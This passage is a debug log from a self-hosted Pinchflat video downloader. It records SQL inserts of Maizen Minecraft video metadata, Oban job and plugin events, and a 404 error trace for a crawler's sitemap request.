(?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "b5aedf29-fada-4c32-855e-eea6648fb068", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 17:04:01.217 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.218 [debug] QUERY OK source="media_items" db=1.3ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 17:04:01.219 [debug] QUERY OK source="media_items" db=0.6ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "52fc0bbd-28a2-432b-82cd-37564113627c", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 17:04:01.220 [debug] QUERY OK source="sources" db=0.2ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.221 [debug] QUERY OK source="media_items" db=1.2ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 17:04:01.222 [debug] QUERY OK source="media_items" db=0.6ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "a2765add-6a59-4fc8-a48e-6d5949ddba4e", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 17:04:01.222 [debug] QUERY OK source="sources" db=0.2ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:04:01.224 [debug] QUERY OK source="media_items" db=1.3ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-10 22:16:00Z], 2] 17:04:01.225 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "9f229a32-d934-4378-a7ee-020b75322c3b", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", 18, "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, false, false, 2, [], 98, ~U[2026-05-10 22:16:00Z], ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], "Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, 2, ~U[2026-05-10 22:16:00Z]] 17:04:01.225 [debug] QUERY OK source="sources" db=0.2ms idle=4.0ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z], 2] 17:04:01.227 [debug] QUERY OK source="media_items" db=1.3ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:04:01.228 [debug] QUERY OK source="media_items" db=1.3ms idle=4.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:04:01.229 [debug] QUERY OK source="media_items" db=0.3ms idle=4.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 17:04:01.230 [debug] QUERY OK source="tasks" db=0.2ms idle=2.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17066, 2, ~U[2026-08-20 00:04:01Z], ~U[2026-08-20 00:04:01Z]] 17:04:01.230 [info] {"args":{"id":2},"id":17063,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":27510333,"event":"job:stop","queue_time":916433,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:04:16.814 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:46.816 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.040 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:05:16.818 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:46.820 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.041 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:06:16.822 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:46.824 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.042 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:07:16.826 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:46.828 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.043 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:08:16.830 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:46.832 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.044 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:09:16.834 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:46.836 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.045 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:10:16.838 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:46.840 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.046 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:11:16.842 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:46.844 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:50.659 [info] GET /sitemap.xml 17:11:50.660 [debug] QUERY OK source="settings" db=0.2ms idle=376.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:11:50.660 [debug] QUERY OK source="settings" db=0.2ms idle=377.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:11:50.660 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:11:50.661 [error] #PID<0.162424.0> running PinchflatWeb.Endpoint (connection #PID<0.162423.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162423.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 34202}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.25", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.25" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162424.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.25"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.25"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1bBoLer4iLe4YAFnZh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162423.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 34202}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.25", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.25" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162423.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 34202}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.25", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.25" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162424.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.25"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.25"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revali (truncated) 17:12:00.047 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:12:16.847 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:12:46.849 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.048 [info] {"source":"oban","duration":345,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:13:16.851 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:46.853 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.049 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:14:16.855 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:46.857 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.050 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:15:16.859 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:46.861 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.051 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:16:16.863 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:16:46.865 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:17:00.052 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:17:16.867 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:46.869 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.053 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:18:16.871 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:46.873 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.054 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:19:16.875 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:46.877 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.055 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:20:16.879 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:46.057 [info] {"args":{"id":1},"id":17064,"meta":{},"system_time":1787185246057322165,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:20:46.057 [debug] QUERY OK source="sources" db=0.2ms idle=1774.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:46.058 [debug] QUERY OK source="settings" db=0.1ms idle=1774.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:46.058 [debug] QUERY OK source="media_items" db=0.2ms idle=1009.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" 